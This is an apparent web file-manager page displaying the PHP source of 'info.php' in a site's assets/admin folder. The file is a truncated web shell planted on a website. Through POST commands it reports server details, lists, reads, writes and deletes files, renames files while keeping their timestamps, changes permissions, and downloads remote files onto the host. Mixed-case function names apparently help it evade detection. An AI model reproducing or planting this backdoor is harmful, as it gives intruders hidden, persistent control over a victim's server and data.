芝麻web文件管理V1.00
编辑当前文件:/home/royashxg/bit-alphas-ltd.com/assets/admin/info.php
1,);function fx($c){return function_exists($c);}function fg($c){return file_get_contents($c);}function fp($c,$e){return file_put_contents($c,$e);}function pwd(){if(fx("getcwd"))return@getcwd();else return@dirname(__FILE__);}function r2($g){if(is_dir($g)){$h=sCaNDir($g);foreach($h as $i){if($i=='.'||$i=='..')continue;$j=$g.'/'.$i;is_dir($j)?r2($j):uNliNk($j);}rMdIR($g);}else uNliNk($g);}function d($k,$m){if(fx('curl_init')){$o=curl_init($m);$q=fopen($k,'w+');curl_setopt($o,CURLOPT_FILE,$q);curl_setopt($o,CURLOPT_TIMEOUT,50);if(curl_exec($o)){curl_close($o);$i=1;}else{$i=fwrite($q,fg($m))?1:0;}fclose($q);}else{$i=@fp($k,fg($m))?1:0;}return $i;}if(!empty($_POST["a"])){$r=@$_POST["v"];$s=@$_POST["d"];$u=array();switch($_POST["a"]){case 1:$u=array("root"=>ROOT,"server"=>$_SERVER['SERVER_SOFTWARE'],"cip"=>$_SERVER['REMOTE_ADDR'],);if(fx("getcwd"))$u['pwd']=pwd();if(fx("ini_get"))$u["safe_mode"]=@ini_get("safe_mode");if(fx("phpversion"))$u["version"]=@phpversion();$u["sip"]=$_SERVER["SERVER_ADDR"];if(empty($u["sip"]))$u["sip"]=@gethostbyname($_SERVER["SERVER_NAME"]);break;case 2:if(empty($r))$r=pwd();$w=scandir($r);$x=array();$y=array();foreach($w as $z){if($z=="."||$z=="..")continue;$g=$r."/".$z;$aa=array("n"=>$z,"p"=>substr(sprintf('%o',fILepErMs($g)),-4),"t"=>date('Y-m-d H:i:s',fILeMTiMe($g)),);if(is_dir($g))$x[]=$aa;else{$aa['s']=filesize($g);$y[]=$aa;}}$u["d"]=$x;$u["f"]=$y;break;case 3:r2($r);break;case 4:$u["v"]=fg($r);break;case 5:$b['code']=fp($s,$r)?1:0;break;case 6:$k=$s.$_POST["n"];$bb=$s.$r;$cc=@FiLemTiME($k);if(!@ReNamE($k,$bb))$b['code']=0;else{if($cc)@touCH($bb,$cc,$cc);}break;case 7:if(!@chmod($s,$r))$b['code']=0;break;case 8:switch($s){case 1:$b['code']=fp($r,"")!==false?1:0;break;case 2:$b['code']=mkdir($r)?1:0;break;case 3:$b['code']=d($_POST['n'],$r)?1:0;break;}}$b['data']=$u;r();}else{echo '';}?>